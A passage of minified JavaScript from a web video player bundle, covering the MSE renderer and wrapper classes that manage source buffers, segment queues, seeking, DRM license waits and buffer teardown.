i=Promise.resolve(),this.isMSEOpen()||this.isTimeInBuffer(n)||(this.logger.debug("reopen MSE on setCurrentTime"),i=this.reOpenMse()),r=i.then(function(){return t.setCurrentTimeInternal(n).catch(function(i){return t.logger.debug("could not set time ".concat(n," on video element"),i),t.getCurrentTime()}).finally(function(){return t.needsInitialSeek=!1})}),this.setCurrentTimeContext={time:n,isInitialSeek:this.needsInitialSeek,promise:r},r},n.prototype.getCurrentVideoTime=function(){var n,t;return null!==(t=null===(n=this.video)||void 0===n?void 0:n.currentTime)&&void 0!==t?t:0},n.prototype.getCurrentFallbackTime=function(){var n=this.setCurrentTimeContext;return n&&n.isInitialSeek&&-1!==n.time?n.time:0!==this.savedCurrentTime&&this.isVideoCurrentTimeUnreliable()?this.savedCurrentTime:(this.savedCurrentTime=0,this.getCurrentVideoTime())},n.prototype.isVideoCurrentTimeUnreliable=function(){var n;return!this.hasDataInSourceBuffers()&&!(null===(n=this.mse)||void 0===n?void 0:n.isBufferRemovalPending())||!(!s.isSwitchingBufferBlocks(this.getSourceStore())&&this.isTimeInBuffer(this.getCurrentVideoTime()))},n.prototype.getCurrentTime=function(n){return void 0===n&&(n=!1),n?this.getCurrentVideoTime():this.getCurrentFallbackTime()},n.prototype.getSnapshotData=function(n,t){var i,r,f,u;void 0===t&&(t=1);try{return this.video?(i=this.video.videoWidth,r=this.video.videoHeight,this.snapshotCanvas||(this.snapshotCanvas=document.createElement("canvas"),this.snapshotCanvas.id="snapshotHiddenCanvas"),this.snapshotCanvas.width=i,this.snapshotCanvas.height=r,f=this.snapshotCanvas.getContext("2d"),null==f||f.drawImage(this.video.getWrappedElement(),0,0,i,r),u=void 0,"image/jpeg"===n||"image/webp"===n?(t=Math.max(t,0),t=Math.min(t,1),u=this.snapshotCanvas.toDataURL(n,t)):u=this.snapshotCanvas.toDataURL(n,t),{height:r,width:i,data:u}):void 0}catch(n){return void(n&&n.message?this.logger.debug("Snapshot acquisition failed: "+n.message):this.logger.debug("Snapshot acquisition failed"))}},n.prototype.getDrmShutdownPromise=function(){return this.drmService?this.drmService.shutdownPromise:Promise.resolve()},n.prototype.ready=function(){var n=this;return this.shutdownPromise.then(function(){return n.getDrmShutdownPromise()}).then(function(){return n.mse||n.init(!1),n.readyPromise})},n.prototype.setTimestampOffset=function(n,t){var i=this;return this.mse?this.mse.setTimestampOffset(n,t).then(function(){i.timestampOffset[n]=t}):Promise.resolve()},n.prototype.shutdown=function(n){var i,f=this,t,u;if(void 0===n&&(n=!1),!this.mse)return this.shutdownPromise;for(t in this.waitingForSeekedPromise=null,this.saveCurrentTime(),this.segmentQueues)this.segmentQueues.hasOwnProperty(t)&&(delete this.segmentQueues[t],null===(i=this.getSourceStore())||void 0===i||i.dispatch(r.setRendererRanges(t,[])));return u=this.mse,this.shutdownPromise=this.shutdownPromise.then(function(){return u.tearDownMediaSource()}).catch(function(n){f.logger.debug("Could not tear down media source",{err:n,message:n.message})}),this.mse=void 0,this.cancelSetCurrentTimeDelayed(),this.gapHandler&&(this.gapHandler.shutdown(),this.gapHandler=void 0),this.eventHandler&&!n&&(this.eventHandler.dispose(),this.eventHandler=void 0),this.quotaExceededMap.clear(),this.quotaExceededDeferredMap.clear(),this.shutdownPromise},n.prototype.release=function(){var n;for(var t in this.segmentQueues)this.segmentQueues.hasOwnProperty(t)&&null!==this.mse&&(delete this.segmentQueues[t],null===(n=this.getSourceStore())||void 0===n||n.dispatch(r.setRendererRanges(t,[])));return this.sourceBufferMimeCodecMap.dispose(),this.mse&&this.mse.dispose(),this.readyPromise=Promise.resolve(),this.timestampOffset={},this.cancelSetCurrentTimeDelayed(),this.gapHandler&&(this.gapHandler.shutdown(),this.gapHandler=void 0),this.off(o.MediaElementEvent.webkitpresentationmodechanged,this.firePictureInPictureEvent),this.eventHandler&&(this.eventHandler.off(o.MediaElementEvent.timeupdate,this.resetConsecutiveErrorCountCallback),this.eventHandler.dispose(),this.eventHandler=void 0),this.waitingForSeekedPromise=null,this.playerEventHandler.off(h.PlayerEvent.Seek,this.onSeek),this.getDrmShutdownPromise()},n.prototype.on=function(n,t){var i;null===(i=this.eventHandler)||void 0===i||i.on(n,t)},n.prototype.off=function(n,t){this.eventHandler&&this.eventHandler.off(n,t)},Object.defineProperty(n.prototype,"drmService",{get:function(){var n;if(null!==(n=this.context.serviceManager)&&void 0!==n)return n.get(f.ServiceName.DrmService)},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"segmentQueueMimeTypes",{get:function(){return Object.keys(this.segmentQueues)},enumerable:!1,configurable:!0}),n.prototype.setDrmConfig=function(n,t){return this.drmService?this.drmService.updateDrmConfig(n,t):Promise.reject("DRM is not configured")},n.prototype.isMediaTypeSupported=function(n,t){return"MediaSource"in window&&MediaSource.isTypeSupported(n+'; codecs="'+t+'"')},n.prototype.cancelPendingEndOfStream=function(){this.setEndOfStreamDeferred&&(this.setEndOfStreamDeferred.reject(new Error("Cancelled pending end of stream.")),this.setEndOfStreamDeferred=void 0)},n.prototype.deferSetEndOfStream=function(){var n=this;return this.setEndOfStreamDeferred=this.setEndOfStreamDeferred||new l.Deferred,this.setEndOfStreamDeferred.promise.then(function(){var t;if(null!==(t=n.mse)&&void 0!==t)return t.endOfStream()}).catch(function(t){d.isContextAvailable(n.context)&&n.context.logger.debug(t)})},n.prototype.setEndOfStream=function(n){if(void 0===n&&(n=!0),!n)return this.cancelPendingEndOfStream(),this.isMSEOpen()?Promise.resolve():this.reOpenMse();if(!this.hasSourceBuffers()||!this.mse)return this.logger.debug("Cannot signal EOS as no buffers have been added yet"),Promise.resolve();var t=this.getEndOfBufferTime();return this.setCurrentTimeDelayedContext&&this.setCurrentTimeDelayedContext.time>=this.duration&&t&&!isNaN(t)&&this.cancelSetCurrentTimeDelayed(this.setCurrentTimeInternal(t)),this.setCurrentTimeDelayedContext?this.deferSetEndOfStream():this.mse.endOfStream()},n.prototype.isTimeInRangePendingRemoval=function(n){var i=this.getRangesPendingRemoval(),r,t;for(r in i)if(t=i[r],t.start<=n&&t.end>=n)return!0;return!1},n.prototype.isTimeInBuffer=function(n,t){if(void 0===t&&(t=0),this.isTimeInRangePendingRemoval(n))return!1;var i=this.getRangesInSourceBuffers();return!!i&&Object.keys(i).every(function(r){return u.isInTimeRanges(i[r],n,t)})},n.prototype.ensureSafeDistanceToEndOfBuffer=function(n,t){var i,u=null!==(i=this.getRangesInSourceBuffers())&&void 0!==i?i:{},f=Object.keys(u),e=et(u,n),o,r;return 0===f.length||e.length<f.length?NaN:(o=Math.min.apply(Math,e.map(function(n){var t;return null!==(t=null==n?void 0:n.end)&&void 0!==t?t:1/0})),r=o-n,r>=t?n:n-(t-r))},n.prototype.adjustTimeToNextCommonBufferStart=function(n){var i,r,u,f,e,a=null===(r=null===(i=this.getSourceStore())||void 0===i?void 0:i.getState())||void 0===r?void 0:r.drm,o=rt.getBufferEndSafetyMargin(a),t,l;if(this.isTimeInBuffer(n,o))return n;var s=this.isTimeInBuffer(n),h=this.getFutureBufferStarts(n).filter(function(t){return t>=n}),c=0===h.length;return s&&c?(t=this.ensureSafeDistanceToEndOfBuffer(n,o),l=null===(e=null===(f=null===(u=this.getSourceStore())||void 0===u?void 0:u.getState())||void 0===f?void 0:f.buffer.isLoadingRangeFinished)||void 0===e||e,t===n||l?!isNaN(t)&&this.isTimeInBuffer(t)?(this.logger.debug("Adjusting current time away from end of buffer: ".concat(t)),t):n:(this.logger.debug("Not adjusting seek target, because there will be future data"),NaN)):!s&&c?NaN:(n=Math.min.apply(null,h),this.logger.debug("Adjusting current time to next buffer start: ".concat(n)),n)},n.prototype.getFutureBufferStarts=function(n){var t,r=this.getRangesInSourceBuffers(),i;return r?(this.mse?(i=this.getRangesPendingRemoval(),t=Object.keys(i).map(function(n){return i[n]})):t=[],u.BufferRangeHelper.getCommonBufferedRanges(r).filter(function(t){return t.getEnd()>=n&&!isNaN(t.getStart())}).filter(function(n){return t.every(function(t){return u.areDisjoint(t,{start:n.getStart(),end:n.getEnd()})})}).map(function(n){return n.getStart()})):[]},n.prototype.getRangesInSourceBuffers=function(){var n,t;if(!this.mse)return null;n={};for(t in this.segmentQueues)if(this.segmentQueues.hasOwnProperty(t)&&(n[t]=this.mse.getBufferedRanges(t),n[t].length<1))return null;return Object.keys(n).length?n:null},n.prototype.getRangesPendingRemoval=function(){var t,n,i;if(!this.mse||!this.mse.isBufferRemovalPending())return{};t={};for(n in this.segmentQueues)i=this.mse.getRangePendingRemoval(n),this.segmentQueues.hasOwnProperty(n)&&i&&(t[n]=i);return t},n.prototype.processSegmentQueues=function(){var n=this,t=this.segmentQueueMimeTypes.filter(function(t){return n.segmentQueues[t].length>0}).map(function(t){return n.addSegmentFromQueueToMse(t)});return 0===t.length?Promise.resolve():Promise.all(t).then(function(){return n.processSegmentQueues()}).catch(function(n){if(n!==e.SOURCE_BUFFER_APPEND_STATUS.SUSPENDED)throw n;})},n.prototype.getHeadOfQueue=function(n){return this.segmentQueues[n][0]},n.prototype.isMSEOpen=function(){var n;return(null===(n=this.mse)||void 0===n?void 0:n.readyState)===y.MediaSourceReadyState.open},n.prototype.maybeWaitForDrmLicense=function(n){var t,i,r=null===(i=null===(t=this.getSourceStore())||void 0===t?void 0:t.getState())||void 0===i?void 0:i.drm;return this.context.serviceManager.maybeCall(f.ServiceName.DrmService,function(t){return t.maybeWaitForDrmLicense(n,r)},Promise.resolve())},n.prototype.addSegmentFromQueueToMse=function(n){var t=this,f,i,r,u;return this.mse?(f=Promise.resolve(),this.isMSEOpen()||(f=this.reOpenMse()),i=this.getHeadOfQueue(n),!i)?Promise.resolve():(r=i.getRepresentationId().representationId,u=i.getUrl(),this.context.logger.debug("[MSERenderer][".concat(n,"][").concat(r,"] Scheduling appendage to buffer [url=").concat(u,"],")+" drm key ID(".concat(i.getDrmKid(),")")),f.then(function(){return t.maybeWaitForDrmLicense(i)}).then(function(){return t.mse?t.segmentQueues[n].includes(i)?t.mse.addToBuffer(i).then(function(){var o=t.getHeadOfQueue(n)!==i,f,e;(t.logger.debug("[MSERenderer][".concat(n,"][").concat(r,"] Appended segment to buffer [url=").concat(u,"]")),o)?(f=t.segmentQueues[n][0],e=f?f.getUrl():"none",t.logger.debug("[MSERenderer][".concat(n,"][").concat(r,"] Skipping removal of [url=").concat(u,"] ")+"from segment queue as the queue head has unexpectedly changed to [url=".concat(e,"]"))):t.segmentQueues[n].shift();t.drmService&&t.hasDataInSourceBuffers()&&!s.isSwitchingBufferBlocks(t.getSourceStore())&&t.drmService.signalInitDataShouldBeAvailable()}):(t.logger.debug("[MSERenderer][".concat(n,"][").concat(r,"] Segment ").concat(i.getUrl()," no longer part of the queue - skipping appendage")),Promise.resolve()):Promise.reject(e.SOURCE_BUFFER_APPEND_STATUS.FAILURE)}).catch(function(u){if(t.logger.debug("[MSERenderer][".concat(n,"][").concat(r,"] Adding segment from queue to buffer failed"),u),u===e.SOURCE_BUFFER_APPEND_STATUS.FAILURE&&t.trackRendererError(i),t.mse&&u===e.SOURCE_BUFFER_APPEND_STATUS.QUOTA_EXCEEDED){t.quotaExceededMap.set(n,!0);var f=t.quotaExceededDeferredMap.get(n);return f||(f=new l.Deferred,t.quotaExceededDeferredMap.set(n,f)),t.mse.addOneUpdateEndCallback(n,f.resolve).then(function(){t.quotaExceededDeferredMap.delete(n);t.context.logger.debug("Appending segment after quota has been exceeded...")}),f.promise.then(function(){return t.processSegmentQueues()})}return t.mse?t.mse.queueActionOnBuffer(n,function(){return t.processSegmentQueues()}):Promise.reject(u)})):Promise.resolve()},n.prototype.cancelSetCurrentTimeDelayed=function(n){void 0===n&&(n=this.getCurrentTime());this.setCurrentTimeDelayedContext&&(clearTimeout(this.setCurrentTimeDelayedContext.timeoutId),this.setCurrentTimeDelayedContext.promiseResolve(n),this.setCurrentTimeDelayedContext=void 0)},n.prototype.recoverFromExceededQuota=function(n){var t=this;this.segmentQueueMimeTypes.forEach(function(i){var u;t.segmentQueues[i]=t.segmentQueues[i].filter(function(t){return t.getPlaybackTime()+t.getDuration()>=n});null===(u=t.getSourceStore())||void 0===u||u.dispatch(r.setRendererRanges(i,t.getOverallBufferedRanges(i)));t.quotaExceededMap.set(i,!1)});this.quotaExceededDeferredMap.forEach(function(n){return n.reject()});this.quotaExceededDeferredMap.clear()},n.prototype.setCurrentTimeDelayed=function(n){var t,i,r=this,u;return this.logger.debug("delayed set time ".concat(n," on video element")),u=null!==(i=null===(t=this.setCurrentTimeDelayedContext)||void 0===t?void 0:t.promiseResolve)&&void 0!==i?i:Promise.resolve,this.setCurrentTimeDelayedContext&&clearTimeout(this.setCurrentTimeDelayedContext.timeoutId),this.setCurrentTimeDelayedContext=void 0,new Promise(function(t,i){r.setCurrentTimeDelayedContext={time:n,promiseReject:i,promiseResolve:t,timeoutId:setTimeout(function(){t(r.setCurrentTimeInternal(n).then(function(n){return u.call(Promise,n),n}))},g.toMilliSeconds(r.settings.SYNC_ON_SEEK_TIMEOUT))}})},n.prototype.resolvePendingEndOfStream=function(){this.setEndOfStreamDeferred&&(this.setEndOfStreamDeferred.resolve(),this.setEndOfStreamDeferred=void 0)},n.prototype.setCurrentTimeInternal=function(n){var t=this,i;return this.mse?(function(n,t){var i=!1;return n.forEach(function(n){return i=i||t(n)}),i}(this.quotaExceededMap,function(n){return n})&&this.recoverFromExceededQuota(n),i=this.mse.waitForBuffers().then(function(){return t.waitingForSeekedPromise}).then(function(){var f,e,o,r,s,u,h;if(t.setCurrentTimeContext){if(t.setCurrentTimeContext.time!==n)return Promise.reject("A newer setting of change time has been scheduled.")}else t.setCurrentTimeContext={time:n,isInitialSeek:!1,promise:i};return(r=t.adjustTimeToNextCommonBufferStart(n),isNaN(r))?t.setCurrentTimeDelayed(n):(u=null!==(e=null===(f=t.video)||void 0===f?void 0:f.currentTime)&&void 0!==e?e:0,h=!t.isPaused(),(null===(o=t.setCurrentTimeContext)||void 0===o?void 0:o.isInitialSeek)&&h&&u>r?(t.logger.debug("Skip initial seek to ".concat(r," as playback has started and is already at ").concat(u)),s=Promise.resolve(u)):(t.logger.debug("set time on video element to ".concat(r)),s=t.seekOnVideoElement(r)),s.then(function(n){return t.cancelSetCurrentTimeDelayed(),t.resolvePendingEndOfStream(),n}).catch(function(n){return t.handleVideoSetCurrentTimeError(r,n)}).finally(function(){t.waitingForSeekedPromise=null;t.setCurrentTimeContext=void 0;t.savedCurrentTime=0}))})):Promise.reject("Couldn't set current time, MSE is not open")},n.prototype.handleVideoSetCurrentTimeError=function(n,t){return this.logger.debug("failed to set current time",t),this.waitingForSeekedPromise=null,this.setCurrentTimeDelayed(n)},n.prototype.seekOnVideoElement=function(n){var t=this;return this.waitingForSeekedPromise=new Promise(function(i,r){t.video?(t.video.currentTime=n,i(t.video.currentTime)):r("No video reference")}),this.waitingForSeekedPromise},n.prototype.saveCurrentTime=function(){this.savedCurrentTime=this.setCurrentTimeContext?this.setCurrentTimeContext.time:this.getCurrentVideoTime()},n.prototype.recreateSourceBuffers=function(n){var t=this;return void 0===n&&(n=this.getCurrentTime()),this.shutdown().then(function(){return t.ready()}).then(function(){t.sourceBufferMimeCodecMap.forEach(function(n,i){t.addBuffer(n,i)||(t.context.logger.debug("Failed to create source buffer ".concat(n)),t.sourceBufferMimeCodecMap.remove(n))})}).then(function(){t.setCurrentTime(n).then(function(){var n,i;return(null===(i=null===(n=t.context.serviceManager)||void 0===n?void 0:n.get(f.ServiceName.PlayerStateService))||void 0===i?void 0:i.isPlaying())?t.play():Promise.resolve()})})},n.prototype.updateSegmentQueueMimeType=function(n){var t,i=this,u=a.MimeTypeHelper.getMediaType(n);this.segmentQueueMimeTypes.forEach(function(n){var t;a.MimeTypeHelper.getMediaType(n)===u&&(delete i.segmentQueues[n],null===(t=i.getSourceStore())||void 0===t||t.dispatch(r.setRendererRanges(n,[])))});this.segmentQueues[n]=[];null===(t=this.getSourceStore())||void 0===t||t.dispatch(r.setRendererRanges(n,[]))},n.prototype.addUpdateEndListenerToUpdateRendererRanges=function(n){var t,i=this;null===(t=this.mse)||void 0===t||t.addUpdateEndCallback(n,function(){var t;if(null!==(t=i.getSourceStore())&&void 0!==t)return t.dispatch(r.setRendererRanges(n,i.getOverallBufferedRanges(n)))})},n.prototype.changeBufferType=function(n,t){var i=this;return this.sourceBufferMimeCodecMap.update(n,t),this.updateSegmentQueueMimeType(n),this.mse&&this.mse.isChangeTypeSupported()?this.mse.changeBufferType(n,t).then(function(){var r;return i.addUpdateEndListenerToUpdateRendererRanges(n),(r={})[n]=t,r}).catch(function(r){return i.logger.debug("Failed to change buffer type to ".concat(n," ").concat(t,":"),r),i.recreateSourceBuffers().then(function(){return i.sourceBufferMimeCodecMap.entries()})}):this.recreateSourceBuffers().then(function(){return i.sourceBufferMimeCodecMap.entries()})},n}();t.MSERenderer=ft},58765:function(n,t,i){var e=this&&this.__assign||function(){return e=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},e.apply(this,arguments)},l;Object.defineProperty(t,"__esModule",{value:!0});t.MSEWrapper=t.MediaSourceReadyState=void 0;var r,u=i(52442),a=i(25550),v=i(28764),s=i(63546),f=i(35148),h=i(62510),y=i(58935),p=i(96873),w=i(60627),c=i(27279),b=i(13533),k=i(38255),d=i(10981),o=i(79814),g=i(70016),nt=i(61878),tt=i(73904),it=i(24869);!function(n){n.closed="closed";n.open="open";n.ended="ended"}(r||(t.MediaSourceReadyState=r={}));l=function(){function n(n){var t=this;this.postBufferRemoval=function(n,i,r){t.logger.debug("successfully removed buffer for ".concat(n," (from  ").concat(i," to ").concat(r,")"))};this.waitForBuffer=function(n){return t.sourceBuffers.hasOwnProperty(n)?t.mseReady().then(function(){return t.sourceBuffers[n].ready()}):Promise.reject("No SourceBuffer for '".concat(n,"' available"))};n.videoElement&&(this.context=n,this.logger=n.logger,this.video=n.videoElement,this.sourceBuffers={},this.isInit=!1,this.updateEndListeners=new k.ArrayMap,this.teardownInProgressPromise=Promise.resolve())}return n.prototype.getBufferedRanges=function(n){return this.sourceBuffers.hasOwnProperty(n)?this.sourceBuffers[n].bufferedRanges:[]},n.prototype.printDetailedBufferRange=function(n,t){var r,i;try{r=n.buffered}catch(n){return}for(i=0;i<r.length;i++)this.logger.debug(t+" buffer range ["+i+"]: "+r.start(i)+" - "+r.end(i))},n.prototype.getBufferStartTime=function(){var n=this,t=Object.keys(this.sourceBuffers).map(function(t){return 0===n.sourceBuffers[t].bufferedRanges.length?0:n.sourceBuffers[t].bufferedRanges[0].start});return Math.max.apply(null,t)},n.prototype.logRangesOnBufferChanged=function(n,t){if(t&&"target"in t&&t.target){var i=t.target;this.printDetailedBufferRange(i,n)}},n.prototype.addBuffer=function(n,t){if(this.mediaSource){if(this.isInit&&!this.sourceBuffers.hasOwnProperty(n))try{var i=this.mediaSource.addSourceBuffer(n+"; codecs="+t);this.sourceBuffers[n]=new it.SourceBufferWrapper(i);this.addBufferChangedUpdateEndCallback(n)}catch(i){return this.logger.debug("Could not add SourceBuffer for "+n+" with codecs "+t+":"+i),void this.context.eventHandler.dispatchEvent(h.PlayerEvent.Warning,new s.PlayerWarning(f.WarningCode.SOURCE_CODEC_OR_FILE_FORMAT_NOT_SUPPORTED))}return this.logger.debug("Added SourceBuffer for "+n+" with codecs "+t),isNaN(this.mediaSource.duration)||(this.sourceBuffers[n].appendWindowEnd=this.mediaSource.duration),this.sourceBuffers[n].buffer}},n.prototype.updateTimestampOffset=function(n,t){var i=this.sourceBuffers[n];i&&(this.logger.debug("setting new source buffer [".concat(n,"] offset from ").concat(i.buffer.timestampOffset," to ").concat(t)),i.buffer.timestampOffset=t)},n.prototype.setTimestampOffset=function(n,t){return this.sourceBuffers.hasOwnProperty(n)?(t&&!isNaN(t)||(this.logger.debug("source buffer [".concat(n,"] offset is ").concat(t,", setting it to 0")),t=0),this.queueTimestampOffsetUpdate(n,t)):(this.logger.debug("no such source buffer found (mime type=".concat(n,")")),Promise.resolve())},n.prototype.queueTimestampOffsetUpdate=function(n,t){var i=this;return this.queueActionOnBuffer(n,function(){return i.updateTimestampOffset(n,t)}).catch(function(t){i.logger.debug("Failed to set timestamp offset for",n,":",t)})},n.prototype.getBufferRangeStart=function(n,t){return t||n.buffered.start(0)},n.prototype.getBufferRangeEnd=function(n,t){return t||n.buffered.end(n.buffered.length-1)},n.prototype.getBufferRemovalRange=function(n,t,i){var r=this.sourceBuffers[n].buffer;return{start:this.getBufferRangeStart(r,t),end:this.getBufferRangeEnd(r,i)}},n.prototype.preBufferRemoval=function(n,t,i){this.logger.debug("removing buffer for ".concat(n," (from ").concat(t," to ").concat(i,")"))},n.prototype.removeBufferRange=function(n,t,i){this.preBufferRemoval(n,t,i);this.sourceBuffers[n].buffer.remove(t,i)},n.prototype.removeFromBuffer=function(n,t,i,u){var e=this;return void 0===u&&(u=this.postBufferRemoval),this.queueActionOnBuffer(n,function(){var l,a,v,p,w;try{if(e.video&&e.video.currentTime>=0&&(null===(v=null===(a=null===(l=e.sourceBuffers[n])||void 0===l?void 0:l.buffer)||void 0===a?void 0:a.buffered)||void 0===v?void 0:v.length)>0){var y=e.getBufferRemovalRange(n,t,i),o=y.start,c=y.end;if(o>=0&&c>o){if(e.sourceBuffers[n].removalPending=!0,e.sourceBuffers[n].rangePendingRemoval={start:o,end:c},!e.mediaSource||e.mediaSource.readyState===r.open)return p=e.sourceBuffers[n].onUpdateEnded().then(function(){e.sourceBuffers[n]&&(e.sourceBuffers[n].rangePendingRemoval=null,e.sourceBuffers[n].removalPending=!1,u(n,o,c))}),e.removeBufferRange(n,o,c),p;e.logger.debug("cannot remove buffer for "+n+" (from "+o+" to "+c+"): MediaSource is not open");e.addOneSourceOpenCallback(function(){e.removeFromBuffer(n,o,c,u).catch(function(t){e.logger.debug("Couldn't remove buffer from ".concat(o," to ").concat(c," for ").concat(n),t)})})}else e.logger.debug("Ignoring buffer clearing request, as the passed-in range is not valid: ".concat(o," to ").concat(c))}else e.logger.debug("Ignoring buffer clearing request, as there are no buffered ranges.")}catch(n){w="".concat(f.WarningCode[f.WarningCode.PLAYBACK_WARNING],". Exception: ").concat(JSON.stringify(n));e.context.eventHandler.dispatchEvent(h.PlayerEvent.Warning,new s.PlayerWarning(f.WarningCode.PLAYBACK_WARNING,w))}return Promise.resolve()})},n.prototype.removeBuffer=function(n){var r=this,t=Promise.resolve(),i=this.sourceBuffers[n];if(!i||!this.mediaSource)return t;if(this.isMediaSourceOpen())try{null==i||i.buffer.abort()}catch(n){return this.logger.debug("Could not abort last action on buffer",e({},n)),Promise.resolve()}if(o.MimeTypeHelper.isSubtitle(n))t=t.then(function(){return r.removeFromBuffer(n).catch(function(n){r.logger.debug("Error removing buffer data",n)})});else try{(this.updateEndListeners.get(n)||[]).slice().forEach(function(t){r.removeUpdateEndCallback(n,t)});this.mediaSource&&this.mediaSource.removeSourceBuffer(i.buffer)}catch(n){this.logger.debug("Error while trying to remove source buffer.",n)}return this.deleteSourceBuffer(n),t},n.prototype.deleteSourceBuffer=function(n){this.sourceBuffers[n]?(this.sourceBuffers[n].dispose(),delete this.sourceBuffers[n],this.logger.debug("Removed SourceBuffer for ".concat(n))):this.logger.debug("No source buffer to remove for mimeType=".concat(n))},n.prototype.isMediaSourceOpen=function(){var n;return(null===(n=this.mediaSource)||void 0===n?void 0:n.readyState)===r.open},n.prototype.resetAllBuffers=function(){var i=this,n,t;if(!this.mediaSource)return this.logger.debug("Media source is removed. Can not reset buffers."),Promise.resolve();n=[];for(t in this.sourceBuffers)this.sourceBuffers.hasOwnProperty(t)&&n.push(this.removeBuffer(t));return Promise.all(n).then(function(){i.sourceBuffers={};i.logger.debug("Removed all SourceBuffers")})},n.prototype.tearDownMediaSource=function(){var n=this;return this.teardownInProgressPromise=this.teardownInProgressPromise.then(function(){return n.resetAllBuffers()}).then(function(){n.mediaSource?n.detachVideoElementAndMSE():n.logger.debug("Media source has already been removed.")}),this.teardownInProgressPromise},n.prototype.detachVideoElementAndMSE=function(){var t,n;if(this.video)if(null!==this.video.getWrappedElement()){if(n=tt.getMseObjectUrl(c.getSourceState(this.context)),"function"==typeof(null===(t=null===window||void 0===window?void 0:window.URL)||void 0===t?void 0:t.revokeObjectURL)&&""!==n)try{window.URL.revokeObjectURL(n)}catch(t){}this.mediaSourceReadyDeferred&&this.mediaSourceReadyDeferred.reject("MediaSource is being destroyed.");this.mediaSourceReadyDeferred=void 0;this.mediaSourceReadyPromise=void 0;n===this.video.src&&(nt.VideoElementUtil.removeSource(this.video),this.video.load());this.mediaSource=void 0;this.isInit=!1;this.updateEndListeners.clear();this.logger.debug("Detached video element and MSE")}else this.logger.debug("No video element to teardown.");else this.logger.debug("No video wrapper to teardown.")},n.prototype.removeUpdateEndCallback=function(n,t){this.sourceBuffers.hasOwnProperty(n)&&this.sourceBuffers[n].buffer.removeEventListener("updateend",t)},n.prototype.addUpdateEndCallback=function(n,t){this.sourceBuffers.hasOwnProperty(n)&&this.sourceBuffers[n].buffer.addEventListener("updateend",t)},n.prototype.addOneUpdateEndCallback=function(n,t){return this.sourceBuffers[n].onUpdateEnded().catch(function(){}).then(t)},n.prototype.addSourceOpenCallback=function(n){this.mediaSource&&this.mediaSource.addEventListener("sourceopen",n)},n.prototype.removeSourceOpenCallback=function(n){this.mediaSource&&this.mediaSource.removeEventListener("sourceopen",n)},n.prototype.addOneSourceOpenCallback=function(n){var i=this,t=function(r){i.removeSourceOpenCallback(t);n(r)};this.addSourceOpenCallback(t)},n.prototype.isAnyBufferUpdating=function(){var n=this;return 0!==Object.keys(this.sourceBuffers).filter(function(t){return n.sourceBuffers[t].buffer.updating}).length},n.prototype.setDuration=function(n){var t=this;this.queueActionOnBuffers(function(){if(t.mediaSource){var i=g.isNumber(n)&&n>0?n:1/0;t.mediaSource.duration!==i&&(t.isMediaSourceOpen()?(t.logger.debug("Setting video duration on MSE: ".concat(t.mediaSource.duration," -> ").concat(i)),t.mediaSource.duration=i):t.logger.debug("Skipping setDuration (".concat(t.mediaSource.duration," -> ").concat(i,"), MSE is not open")))}else t.logger.debug("Skipping setDuration (".concat(n,"), MSE is gone"))}).catch(function(n){t.logger.debug("Could not set the duration of the MSE!",n)})},n.prototype.getDuration=function(){return this.mediaSource&&!isNaN(this.mediaSource.duration)?this.mediaSource.duration:0},n.prototype.isInitialized=function(){return this.isInit},Object.defineProperty(n.prototype,"readyState",{get:function(){if(this.mediaSource)return this.mediaSource.readyState},enumerable:!1,configurable:!0}),n.prototype.isBufferRemovalPending=function(){var n=this;return Object.keys(this.sourceBuffers).some(function(t){return n.sourceBuffers[t].removalPending})},n.prototype.getRangePendingRemoval=function(n){var t,i,r;if(null!==(r=null===(i=null===(t=this.sourceBuffers)||void 0===t?void 0:t[n])||void 0===i?void 0:i.rangePendingRemoval)&&void 0!==r)return r},n.prototype.getBufferSizeInSeconds=function(n){return this.getBufferedRanges(n).reduce(function(n,t){return n+(t.end-t.start)},0)},n.prototype.addToBuffer=function(n){var t=this,i=n.getMimeType();return this.queueActionOnBuffer(i,function(){if(!t.mediaSource)return t.logger.debug("Could not queue action on SourceBuffer: MediaSource has been destroyed"),Promise.reject(u.SOURCE_BUFFER_APPEND_STATUS.FAILURE);if(t.mediaSource.readyState!==r.open)return t.logger.warn("MediaSource is not open (readyState="+t.mediaSource.readyState+")"),Promise.reject(u.SOURCE_BUFFER_APPEND_STATUS.FAILURE);if(!t.sourceBuffers.hasOwnProperty(i))return t.logger.log("sourceBuffers has no entry for "+i),Promise.reject(u.SOURCE_BUFFER_APPEND_STATUS.FAILURE);var f=n.getRepresentationId().representationId;try{return t.logger.debug("[MSEWrapper][".concat(i,"][").concat(f,"] Adding segment to SourceBuffer [").concat(n.getUrl(),"]")),t.sourceBuffers[i].buffer.appendBuffer(n.getData()),Promise.resolve()}catch(r){return t.logger.debug("[MSEWrapper][".concat(i,"][").concat(f,"] appendBuffer() failed"),r),r.name&&"QuotaExceededError"===r.name?(t.logger.debug("QuotaExceededError, trying to remove old data from buffers..."),t.context.store.dispatch(p.setBufferMaxSize(i,t.getBufferSizeInSeconds(i))),Promise.reject(u.SOURCE_BUFFER_APPEND_STATUS.QUOTA_EXCEEDED)):(t.video&&t.video.error||t.context.eventHandler.fireError(new v.PlayerError(a.ErrorCode.UNKNOWN,{exception:r,codec:n.getCodec(),mimeType:i,segmentUrl:n.getUrl()},"Unexpected error while attempting to append a segment to the SourceBuffer.")),t.logger.debug("[MSEWrapper][".concat(i,"][").concat(f,"] Failed appending segment to SourceBuffer"),r),Promise.reject(u.SOURCE_BUFFER_APPEND_STATUS.FAILURE))}})},n.prototype.endOfStream=function(){var n=this;return this.queueActionOnBuffers(function(){var t;n.isMediaSourceOpen()?(n.logger.debug("Signaled mse end of stream"),null===(t=n.mediaSource)||void 0===t||t.endOfStream()):n.logger.debug("Skipped signaling EOS as the mse is not open")}).catch(function(t){n.logger.debug("Unable to signal EOS on media source",t)})},n.prototype.waitForBuffers=function(){var n=Object.keys(this.sourceBuffers).map(this.waitForBuffer);return this.mseReady().then(function(){return Promise.all(n).then(function(){})})},n.prototype.queueActionOnBuffers=function(n){var t=this,i=new Promise(function(n,r){var u=Object.keys(t.sourceBuffers).map(function(n){var r=t.queueActionOnBuffer(n,function(){});return t.queueActionOnBuffer(n,function(){return i}).then().catch(),r});Promise.all(u).then(function(){return n()},r)}).then(function(){return n()}).then(function(){return Promise.all(Object.keys(t.sourceBuffers).map(function(n){return t.sourceBuffers[n].ready()})).then(function(){})});return i},n.prototype.queueActionOnBuffer=function(n,t){return 